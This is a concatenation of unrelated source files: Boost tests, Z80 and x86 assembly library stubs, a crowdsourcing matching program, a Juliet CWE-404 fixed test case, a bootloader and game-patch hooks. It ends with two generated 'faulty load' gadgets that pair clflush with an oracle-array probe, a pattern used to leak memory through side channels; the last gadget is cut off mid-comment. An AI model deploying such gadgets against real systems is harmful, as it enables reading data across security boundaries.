//BOOST_CHECK_EQUAL(nSum, 1350824726649000ULL);
}
bool ReturnFalse() { return false; }
bool ReturnTrue() { return true; }
BOOST_AUTO_TEST_CASE(test_combiner_all)
{
boost::signals2::signal<bool (), CombinerAll> Test;
BOOST_CHECK(Test());
Test.connect(&ReturnFalse);
BOOST_CHECK(!Test());
Test.connect(&ReturnTrue);
BOOST_CHECK(!Test());
Test.disconnect(&ReturnFalse);
BOOST_CHECK(Test());
Test.disconnect(&ReturnTrue);
BOOST_CHECK(Test());
}
BOOST_AUTO_TEST_SUITE_END()
|
; void ts_vmod(unsigned char mode)
SECTION code_clib
SECTION code_arch
PUBLIC ts_vmod
EXTERN asm_ts_vmod
defc ts_vmod = asm_ts_vmod
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _ts_vmod
defc _ts_vmod = ts_vmod
ENDIF
|
;
;
; Z88 Maths Routines
;
; C Interface for Small C+ Compiler
;
; 7/12/98 djm
;double amin(double x,double y)
;y is in the FA
;x is on the stack +8 (+2=y)
;
;returns the smaller of x and y
INCLUDE "fpp.def"
XLIB amin
LIB fsetup
lIB stkequ2
XREF fa
.amin
ld ix,8
add ix,sp
ld l,(ix+1)
ld h,(ix+2)
ld de,(fa+1)
exx ;main set
ld c,(ix+5)
ld l,(ix+3)
ld h,(ix+4)
ld de,(fa+3)
ld a,(fa+5)
ld b,a
push ix
fpp(FP_CMP) ;sets: de=y hl=x
pop ix
jp p,amin2
ret ;hl is bigger than de, de on stack so okay...
.amin2
ld l,(ix+1)
ld h,(ix+2)
exx
ld c,(ix+5)
ld l,(ix+3)
ld h,(ix+4)
jp stkequ2
|
/**
\author: Trasier
\date: 2017.04.02
*/
#include <bits/stdc++.h>
using namespace std;
//#pragma comment(linker,"/STACK:102400000,1024000")
#include "input.h"
#include "monitor.h"
enum rule_t {
worker, task
};
union W_un {
double cost;
double pay;
double rate;
};
struct node_t {
rule_t type; // 0: task, 1: worker
pair<double, double> loc; // location
int cap; // capacity
int flow; // flow
double rad; // radius
W_un cost; // cost
int begTime, endTime; // time interval
void print() {
if (type == worker)
printf("w: loc = (%.2lf, %.2lf), rad = %.2lf, cap = %d, time = (%d, %d), ratio = %.2lf\n",
loc.first, loc.second, rad, cap, begTime, endTime, cost.rate);
else
printf("t: loc = (%.2lf, %.2lf), time = (%d, %d), pay = %.2lf\n",
loc.first, loc.second, begTime, endTime, cost.pay);
}
};
bool satisfyLoc(const node_t& worker, const node_t& task);
bool satisfyTime(const node_t& worker, const node_t& task);
inline double calcCost(const node_t& task, const node_t& worker) {
return task.cost.pay * worker.cost.rate;
}
inline double Length(pair<double,double> pa, pair<double,double> pb) {
return sqrt( (pa.first-pb.first)*(pa.first-pb.first) + (pa.second-pb.second)*(pa.second-pb.second) );
}
inline double Length2(pair<double,double> pa, pair<double,double> pb) {
return (pa.first-pb.first)*(pa.first-pb.first) + (pa.second-pb.second)*(pa.second-pb.second);
}
inline bool satisfyLoc(const node_t& worker, const node_t& task) {
// 4. condition of location
if (Length2(worker.loc, task.loc) > worker.rad * worker.rad)
return false;
return true;
}
inline bool satisfyCap(const node_t& worker, const node_t& task) {
// 2&3. capacity of worker & task
if (worker.cap<=worker.flow || task.cap<=task.flow)
return false;
return true;
}
inline bool satisfyTime(const node_t& worker, const node_t& task) {
// 1. condition of deadline
//if (!(worker.begTime<=task.endTime && task.begTime<=worker.endTime))
if (!(worker.begTime<task.endTime && task.begTime<worker.endTime))
return false;
return true;
}
bool satisfy(const node_t& worker, const node_t& task) {
return satisfyCap(worker, task) && satisfyTime(worker, task) && satisfyLoc(worker, task);
}
const double eps = 1e-6;
inline double dcmp(double a) {
if (fabs(a) < eps)
return 0;
return a>0 ? 1:-1;
}
const double INF = 1e18;
struct vertex_t {
int u, v;
double w;
vertex_t(int u=0, int v=0, double w=0):
u(u), v(v), w(w) {}
bool operator<(const vertex_t& o) const {
if (w != o.w)
return w > o.w;
if (u != o.u)
return u < o.u;
return v < o.v;
}
};
set<vertex_t> est;
struct Greedy_t {
vector<int> yx, xy;
Greedy_t() {
init(0, 0);
}
void init(int Wsz, int Tsz) {
clear();
yx.resize(Tsz, -1);
xy.resize(Wsz, -1);
}
void clear() {
yx.clear();
xy.clear();
}
void build(const vector<int>& T_delta, const vector<int>& W_delta, const vector<node_t>& tasks,
const vector<node_t>& workers, const node_t& node) {
const int Tsz = T_delta.size();
const int Wsz = W_delta.size();
double cost;
init(Wsz, Tsz);
if (node.type == worker) {
const int i = Wsz - 1;
const int workerId = W_delta[i];
for (int j=0; j<Tsz; ++j) {
const int taskId = T_delta[j];
if (satisfyLoc(workers[workerId], tasks[taskId]) && satisfyTime(workers[workerId], tasks[taskId])) {
cost = calcCost(tasks[taskId], workers[workerId]);
est.insert(vertex_t(i, j, cost));
}
}
} else {
const int j = Tsz - 1;
const int taskId = T_delta[j];
for (int i=0; i<Wsz; ++i) {
const int workerId = W_delta[i];
if (satisfyLoc(workers[workerId], tasks[taskId]) && satisfyTime(workers[workerId], tasks[taskId])) {
cost = calcCost(tasks[taskId], workers[workerId]);
est.insert(vertex_t(i, j, cost));
}
}
}
}
void GreedyMatch(const vector<int>& T_delta, const vector<int>& W_delta, const vector<node_t>& tasks,
const vector<node_t>& workers, const node_t& node) {
const int Tsz = T_delta.size();
const int Wsz = W_delta.size();
vertex_t ver;
int taskId, workerId;
if (node.type == worker) {
for (set<vertex_t>::iterator iter=est.begin(); iter!=est.end(); ++iter) {
ver = *iter;
if (xy[ver.u]>=0 || yx[ver.v]>=0) continue;
workerId = W_delta[ver.u];
taskId = T_delta[ver.v];
const node_t& workerNode = workers[workerId];
const node_t& taskNode = tasks[taskId];
if (ver.u == Wsz-1) {
if (satisfy(workerNode, taskNode)) {
xy[ver.u] = ver.v;
yx[ver.v] = ver.u;
}
return ;
}
xy[ver.u] = ver.v;
yx[ver.v] = ver.u;
}
} else {
for (set<vertex_t>::iterator iter=est.begin(); iter!=est.end(); ++iter) {
ver = *iter;
if (xy[ver.u]>=0 || yx[ver.v]>=0) continue;
workerId = W_delta[ver.u];
taskId = T_delta[ver.v];
const node_t& workerNode = workers[workerId];
const node_t& taskNode = tasks[taskId];
if (ver.v == Tsz-1) {
if (satisfy(workerNode, taskNode)) {
xy[ver.u] = ver.v;
yx[ver.v] = ver.u;
}
return ;
}
xy[ver.u] = ver.v;
yx[ver.v] = ver.u;
}
}
}
void match(const vector<int>& T_delta, const vector<int>& W_delta, const vector<node_t>& tasks,
const vector<node_t>& workers, const node_t& node) {
GreedyMatch(T_delta, W_delta, tasks, workers, node);
}
};
typedef long long LL;
int n, m, sumC;
double umax;
double utility;
int usedMemory;
Greedy_t greedy;
void init(int taskN, int workerN, double Umax, int SumC) {
n = workerN;
m = taskN;
umax = Umax;
sumC = SumC;
utility = 0;
usedMemory = 0;
est.clear();
}
void nextSeq(ifstream& fin, node_t& nd) {
int timeId;
string stype;
fin >> nd.begTime >> stype;
if (stype[0] == 'w') {
nd.type = worker;
fin >> nd.loc.first >> nd.loc.second >> nd.rad >> nd.cap >> nd.endTime >> nd.cost.rate;
nd.endTime += nd.begTime;
} else {
nd.type = task;
fin >> nd.loc.first >> nd.loc.second >> nd.endTime >> nd.cost.pay;
nd.endTime += nd.begTime;
nd.cap = 1;
}
nd.flow = 0;
}
int chosenNextTask(const vector<node_t>& tasks, node_t& worker) {
int taskN = tasks.size();
double tmpCost;
double mxCost = 0;
int ret = -1;
for (int i=0; i<taskN; ++i) {
tmpCost = calcCost(tasks[i], worker);
if (satisfy(worker, tasks[i]) && tmpCost>mxCost) {
mxCost = tmpCost;
ret = i;
}
}
return ret;
}
int chosenNextWorker(const vector<node_t>& workers, node_t& task) {
int workerN = workers.size();
double tmpCost;
double mxCost = 0;
int ret = -1;
for (int i=0; i<workerN; ++i) {
tmpCost = calcCost(task, workers[i]);
if (satisfy(workers[i], task) && tmpCost>mxCost) {
mxCost = tmpCost;
ret = i;
}
}
return ret;
}
void addOneMatch(node_t& task, node_t& worker) {
// add cost to utility
utility += calcCost(task, worker);
// update the capacity of task & worker
++task.flow;
++worker.flow;
}
void TGOA_Greedy(ifstream& fin, int seqN) {
int k = sumC / 2;
vector<int> W_delta, T_delta;
node_t node;
vector<node_t> tasks, workers;
int taskId, workerId;
int taskNum = 0, workerNum = 0;
bool isSecondHalf = false;
vector <node_t> Sequence;
vector <node_t> batch;
while (seqN--) {
nextSeq(fin, node);
Sequence.push_back(node);
}
for (int id = 0; id < Sequence.size(); ++ id) {
batch.push_back(Sequence[id]);
node_t nd = Sequence[id];
if (id == Sequence.size() - 1 || nd.begTime != Sequence[id + 1].begTime) {
int Tdelsz = T_delta.size();
int Wdelsz = W_delta.size();
if (!isSecondHalf) {
for (int ii = 0; ii < batch.size(); ++ ii) {
node = batch[ii];
int cap = node.cap;
node.cap = 1;
while (cap--) {
workerId = taskId = -1;
if (node.type == task) { // node is task
taskId = tasks.size();
tasks.push_back(node);
} else {
workerId = workers.size();
workers.push_back(node);
}
if (node.type == task) {
for (int i=0; i<node.cap; ++i) {
T_delta.push_back(taskId);
taskNum += 1;
}
} else {
for (int i=0; i<node.cap; ++i) {
W_delta.push_back(workerId);
workerNum += 1;
}
}
if (node.type == task) {
workerId = chosenNextWorker(workers, node);
} else {
taskId = chosenNextTask(tasks, node);
}
if (workerId>=0 && taskId>=0) {
addOneMatch(tasks[taskId], workers[workerId]);
}
}
}
} else {
for (int ii = 0; ii < batch.size(); ++ ii) {
node = batch[ii];
int cap = node.cap;
node.cap = 1;
while (cap --) {
workerId = taskId = -1;
if (node.type == task) { // node is task
taskId = tasks.size();
tasks.push_back(node);
} else {
workerId = workers.size();
workers.push_back(node);
}
if (node.type == task) {
for (int i=0; i<node.cap; ++i)
T_delta.push_back(taskId);
} else {
for (int i=0; i<node.cap; ++i)
W_delta.push_back(workerId);
}
}
}
greedy.build(T_delta, W_delta, tasks, workers, node);
greedy.match(T_delta, W_delta, tasks, workers, node);
const int Tsz = T_delta.size();
const int Wsz = W_delta.size();
for (int i = Wdelsz; i < Wsz; ++ i) {
workerId = W_delta[i];
if (greedy.xy[i] >= 0) {
taskId = T_delta[greedy.xy[i]];
if (satisfy(node, tasks[taskId])) {
/* valid, do nothing*/
} else {
taskId = -1;
}
}
if (workerId>=0 && taskId>=0) {
if (satisfy(workers[workerId], tasks[taskId]))
addOneMatch(tasks[taskId], workers[workerId]);
}
}
for (int i = Tdelsz; i < Tsz; ++ i) {
taskId = T_delta[i];
if (greedy.yx[i] >= 0) {
workerId = W_delta[greedy.yx[i]];
if (satisfy(workers[workerId], node)) {
;
} else {
workerId = -1;
}
}
if (workerId>=0 && taskId>=0) {
if (satisfy(workers[workerId], tasks[taskId]))
addOneMatch(tasks[taskId], workers[workerId]);
}
}
}
if (!isSecondHalf && taskNum+workerNum+batch.size()>=k) {
isSecondHalf = true;
}
batch.clear();
}
}
#ifdef WATCH_MEM
watchSolutionOnce(getpid(), usedMemory);
#endif
}
void solve(string fileName) {
int taskN, workerN, seqN, sumC;
double Umax;
ifstream fin(fileName.c_str(), ios::in);
if (!fin.is_open()) {
printf("Error openning FILE %s.\n", fileName.c_str());
exit(1);
}
fin >> workerN >> taskN >> Umax >> sumC;
seqN = taskN + workerN;
init(taskN, workerN, Umax, sumC);
TGOA_Greedy(fin, seqN);
}
int main(int argc, char* argv[]) {
cin.tie(0);
ios::sync_with_stdio(false);
string edgeFileName;
program_t begProg, endProg;
if (argc > 1) {
edgeFileName = string(argv[1]);
}
save_time(begProg);
solve(edgeFileName);
save_time(endProg);
double usedTime = calc_time(begProg, endProg);
#ifdef WATCH_MEM
printf("TGOA-Greedy %.6lf %.6lf %d\n", utility, usedTime, usedMemory/1024);
#else
printf("TGOA-Greedy %.6lf %.6lf\n", utility, usedTime);
#endif
fflush(stdout);
return 0;
}
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE404_Improper_Resource_Shutdown__open_w32CloseHandle_81_goodB2G.cpp
Label Definition File: CWE404_Improper_Resource_Shutdown__open.label.xml
Template File: source-sinks-81_goodB2G.tmpl.cpp
*/
/*
* @description
* CWE: 404 Improper Resource Shutdown or Release
* BadSource: Open a file using open()
* Sinks: w32CloseHandle
* GoodSink: Close the file using close()
* BadSink : Close the file using CloseHandle
* Flow Variant: 81 Data flow: data passed in a parameter to an virtual method called via a reference
*
* */
#ifndef OMITGOOD
#include "std_testcase.h"
#include "CWE404_Improper_Resource_Shutdown__open_w32CloseHandle_81.h"
#include <windows.h>
namespace CWE404_Improper_Resource_Shutdown__open_w32CloseHandle_81
{
void CWE404_Improper_Resource_Shutdown__open_w32CloseHandle_81_goodB2G::action(int data) const
{
if (data != -1)
{
/* FIX: Close the file using close() */
CLOSE(data);
}
}
}
#endif /* OMITGOOD */
|
SECTION code_fcntl
PUBLIC zx_01_output_fzx_tty_z88dk_22_at
zx_01_output_fzx_tty_z88dk_22_at:
; at x,y
; de = parameters *
ex de,hl
ld e,(hl) ; e = y coord
inc hl
ld l,(hl) ; l = x coord
xor a
ld d,a
ld h,a
ld (ix+35),l
ld (ix+36),h ; set x coord
ex de,hl
ld (ix+37),l
ld (ix+38),h ; set y coord
ret
|
dnl X86-64 mpn_lshiftc optimised for AMD Zen.
dnl Copyright 2012 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
ABI_SUPPORT(DOS64)
ABI_SUPPORT(STD64)
MULFUNC_PROLOGUE(mpn_lshiftc)
include_mpn(`x86_64/fastsse/lshiftc-movdqu2.asm')
|
; float __fssub_callee (float left, float right)
SECTION code_clib
SECTION code_fp_math32
PUBLIC cm32_sccz80_fssub_callee
EXTERN m32_fssub_callee
; subtract sccz80 float from sccz80 float
;
; enter : stack = sccz80_float left, ret
; DEHL = sccz80_float right
;
; exit : DEHL = sccz80_float(left-right)
;
; uses : af, bc, de, hl, af', bc', de', hl'
defc cm32_sccz80_fssub_callee = m32_fssub_callee
; enter stack = sccz80_float left, ret
; DEHL = sccz80_float right
; return DEHL = sccz80_float
|
org 0x7c00
bits 16
jmp skip_bpb
nop
; El Torito Boot Information Table
; ↓ Set by mkisofs
times 8-($-$$) db 0
boot_info:
bi_PVD dd 0
bi_boot_LBA dd 0
bi_boot_len dd 0
bi_checksum dd 0
bi_reserved times 40 db 0
times 90-($-$$) db 0
skip_bpb:
cli
cld
jmp 0x0000:.initialise_cs
.initialise_cs:
xor si, si
mov ds, si
mov es, si
mov ss, si
mov sp, 0x7c00
sti
; int 13h?
mov ah, 0x41
mov bx, 0x55aa
int 0x13
jc err.0
cmp bx, 0xaa55
jne err.1
; --- Load the decompressor ---
mov eax, dword [bi_boot_LBA]
add eax, 1
mov ecx, stage2.fullsize / 2048
; DECOMPRESSOR_LOCATION = 0x70000 = 0x7000:0x0000
push 0x7000
pop es
xor bx, bx
call read_2k_sectors
jc err.2
; Enable GDT
lgdt [gdt]
cli
mov eax, cr0
or al, 1
mov cr0, eax
jmp 0x08:pmode
err:
.2:
inc si
.1:
inc si
.0:
add si, '0' | (0x4f << 8)
push 0xb800
pop es
mov word [es:0], si
sti
.h: hlt
jmp .h
%include 'read_2k_sectors.asm'
%include '../gdt.asm'
bits 32
pmode:
mov eax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
; Time to handle control over to the decompressor
push 2
and edx, 0xff
push edx ; Boot drive
push stage2.size
push (stage2 - decompressor) + 0x70000
call 0x70000
; Align stage2 to 2K ON DISK
times 2048-($-$$) db 0
decompressor:
incbin '../../build/decompressor/decompressor.bin'
align 16
stage2:
incbin '../../build/stage23-bios/stage2.bin.gz'
.size: equ $ - stage2
times ((($-$$)+2047) & ~2047)-($-$$) db 0
.fullsize: equ $ - decompressor
|
; 0x00E2D714 (bombchu bowling hook)
logic_chus__bowling_lady_1:
; Change Bowling Alley check to Bombchus or Bomb Bag (Part 1)
lw at, BOMBCHUS_IN_LOGIC
beq at, r0, @@logic_chus_false
nop
@@logic_chus_true:
lb t7, lo(0x8011A64C)(t7)
li t8, 0x09; Bombchus
beq t7, t8, @@return
li t8, 1
li t8, 0
@@return:
jr ra
nop
@@logic_chus_false:
lw t7, lo(0x8011A670)(t7)
andi t8, t7, 0x18
jr ra
nop
logic_chus__bowling_lady_2:
; Change Bowling Alley check to bombchus or Bomb Bag (Part 2)
lw at, BOMBCHUS_IN_LOGIC
beq at, r0, @@logic_chus_false
nop
@@logic_chus_true:
lb t3, lo(0x8011A64C)(t3)
li t4, 0x09; Bombchus
beq t3, t4, @@return
li t4, 1
li t4, 0
@@return:
jr ra
nop
@@logic_chus_false:
lw t3, lo(0x8011A670)(t3)
andi t4, t3, 0x18
jr ra
nop
logic_chus__shopkeeper:
; Cannot buy bombchu refills without Bomb Bag
lw at, BOMBCHUS_IN_LOGIC
beq at, r0, @@logic_chus_false
nop
@@logic_chus_true:
lui t1, hi(SAVE_CONTEXT + 0x7C)
lb t2, lo(SAVE_CONTEXT + 0x7C)(t1) ; bombchu item
li t3, 9
beq t2, t3, @@return ; if has bombchu, return 1 (can buy)
li v0, 0
li v0, 2 ; else, return 2 (can't buy)
@@logic_chus_false:
lui t1, hi(SAVE_CONTEXT + 0xA3)
lb t2, lo(SAVE_CONTEXT + 0xA3)(t1) ; bombbag size
andi t2, t2, 0x38
bnez t2, @@return ; If has bombbag, return 1 (can buy)
li v0, 0
li v0, 2 ; else, return 2, (can't buy)
@@return:
jr ra
nop
|
%include "../UltimaPatcher.asm"
%include "include/uw2.asm"
defineAddress 37, 0x0202, considerShiftStates
defineAddress 37, 0x024A, beginMovementKeyLoop
defineAddress 37, 0x026A, interpretScancode
defineAddress 37, 0x0344, nextMovementKey
defineAddress 37, 0x034D, endOfProc
%include "../uw1/movementKeys.asm"
|
include uXmx86asm.inc
option casemap:none
ifndef __X64__
.686P
.xmm
.model flat, c
else
.X64P
.xmm
option win64:11
option stackbase:rsp
endif
option frame:auto
.code
align 16
uXm_has_F16C proto VECCALL (byte)
align 16
uXm_has_F16C proc VECCALL (byte)
mov eax, 1
cpuid
and ecx, bit_AVX_F16C
cmp ecx, bit_AVX_F16C ; OSXSAVE AVX F16C feature flags
jne not_supported
; processor supports AVX,F16C instructions and XGETBV is enabled by OS
mov ecx, 0 ; specify 0 for XCR0 register
xgetbv ; result in edx:eax
and eax, 06h
cmp eax, 06h ; check OS has enabled both XMM and YMM state support
jne not_supported
mov al, true
jmp done
not_supported:
mov al, false
done:
ret
uXm_has_F16C endp
end ;.code |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x15862, %r11
nop
nop
nop
nop
nop
inc %r13
mov $0x6162636465666768, %rcx
movq %rcx, (%r11)
nop
nop
mfence
lea addresses_WC_ht+0x1905a, %rsi
lea addresses_D_ht+0xb7ae, %rdi
nop
nop
dec %r13
mov $106, %rcx
rep movsb
sub $19457, %r12
lea addresses_UC_ht+0x12502, %r13
nop
nop
nop
and %rsi, %rsi
mov (%r13), %ecx
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x15b22, %rcx
nop
nop
sub $14166, %r14
mov (%rcx), %si
nop
nop
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0x16e62, %r12
nop
nop
nop
nop
nop
cmp $29175, %rsi
movw $0x6162, (%r12)
and %r11, %r11
lea addresses_A_ht+0x1cf53, %rsi
lea addresses_UC_ht+0x1162, %rdi
nop
nop
nop
nop
add %rax, %rax
mov $61, %rcx
rep movsw
nop
nop
add $13984, %rsi
lea addresses_WC_ht+0x1cc62, %rsi
lea addresses_D_ht+0x170e2, %rdi
nop
nop
dec %rax
mov $106, %rcx
rep movsb
nop
nop
nop
nop
nop
sub %r11, %r11
lea addresses_normal_ht+0x1c662, %rsi
lea addresses_A_ht+0x511a, %rdi
nop
nop
cmp %r12, %r12
mov $43, %rcx
rep movsw
nop
nop
nop
and %r14, %r14
lea addresses_UC_ht+0xe8d0, %rsi
lea addresses_normal_ht+0xbcf0, %rdi
nop
add %rax, %rax
mov $123, %rcx
rep movsl
nop
nop
and %r11, %r11
lea addresses_A_ht+0xf462, %rsi
lea addresses_D_ht+0x4e62, %rdi
nop
add $41411, %r13
mov $14, %rcx
rep movsl
nop
nop
nop
nop
xor %r13, %r13
lea addresses_UC_ht+0x10ee2, %rsi
lea addresses_WT_ht+0x2982, %rdi
nop
inc %r12
mov $28, %rcx
rep movsq
nop
nop
xor %rdi, %rdi
lea addresses_A_ht+0xa262, %rax
add %r12, %r12
mov (%rax), %r11w
nop
nop
nop
nop
xor $30816, %r11
lea addresses_WT_ht+0xa8d2, %rcx
nop
nop
nop
cmp $31862, %r11
mov (%rcx), %r12w
sub %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %rbp
push %rbx
push %rcx
push %rsi
// Store
lea addresses_PSE+0x13d82, %rcx
nop
nop
sub %r14, %r14
movl $0x51525354, (%rcx)
nop
nop
nop
nop
cmp %r8, %r8
// Store
lea addresses_normal+0x1e662, %r15
sub %rbp, %rbp
movw $0x5152, (%r15)
nop
nop
nop
nop
sub %r15, %r15
// Store
lea addresses_WC+0x1e03c, %rbp
nop
and %rbx, %rbx
movb $0x51, (%rbp)
nop
nop
sub $50644, %r14
// Load
mov $0x5d276a00000000bd, %rbx
sub $22351, %r14
mov (%rbx), %r15d
nop
nop
nop
nop
nop
xor $8129, %rbp
// Load
mov $0xfa2, %r15
nop
nop
and %rsi, %rsi
movups (%r15), %xmm7
vpextrq $0, %xmm7, %rbp
nop
nop
nop
cmp %r15, %r15
// Store
lea addresses_US+0x11662, %rbx
nop
nop
nop
nop
inc %r8
movl $0x51525354, (%rbx)
inc %rbx
// Store
lea addresses_D+0x28e2, %r15
nop
nop
nop
nop
add %r8, %r8
movl $0x51525354, (%r15)
nop
nop
inc %rbx
// Faulty Load
lea addresses_RW+0x9662, %rbp
clflush (%rbp)
nop
nop
nop
cmp $33501, %rcx
vmovaps (%rbp), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rsi
lea oracles, %r8
and $0xff, %rsi
shlq $12, %rsi
mov (%r8,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_NC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_US', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 2, '45': 1}
00 00 45
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x5d78, %rsi
lea addresses_UC_ht+0x1905a, %rdi
nop
nop
nop
nop
nop
and $5510, %r11
mov $73, %rcx
rep movsl
nop
nop
sub $53791, %rdi
lea addresses_UC_ht+0xe5a, %r10
nop
xor %rcx, %rcx
mov $0x6162636465666768, %rbx
movq %rbx, (%r10)
nop
nop
xor $53367, %rdi
lea addresses_D_ht+0x3cca, %rsi
lea addresses_A_ht+0x13f5a, %rdi
nop
nop
nop
cmp $24355, %rax
mov $73, %rcx
rep movsl
nop
nop
nop
dec %rax
lea addresses_WC_ht+0x16b5a, %rsi
lea addresses_WT_ht+0x1475a, %rdi
nop
xor $38729, %r15
mov $89, %rcx
rep movsl
nop
nop
nop
sub %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_WT+0x1935a, %rsi
lea addresses_PSE+0x17b5a, %rdi
cmp %r14, %r14
mov $67, %rcx
rep movsb
dec %rcx
// Store
lea addresses_PSE+0x128a, %r14
clflush (%r14)
nop
nop
nop
nop
inc %rdx
movb $0x51, (%r14)
nop
nop
nop
nop
nop
xor %rdi, %rdi
// Store
lea addresses_D+0x10b9a, %rsi
clflush (%rsi)
nop
nop
nop
and $27313, %rdi
mov $0x5152535455565758, %rcx
movq %rcx, (%rsi)
nop
nop
nop
nop
dec %rbp
// Faulty Load
lea addresses_A+0xff5a, %rcx
clflush (%rcx)
nop
nop
nop
and %rdx, %rdx
vmovups (%rcx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rbp
lea oracles, %r12
and $0xff, %rbp
shlq $12, %rbp
mov (%r12,%rbp,1), %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_PSE', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
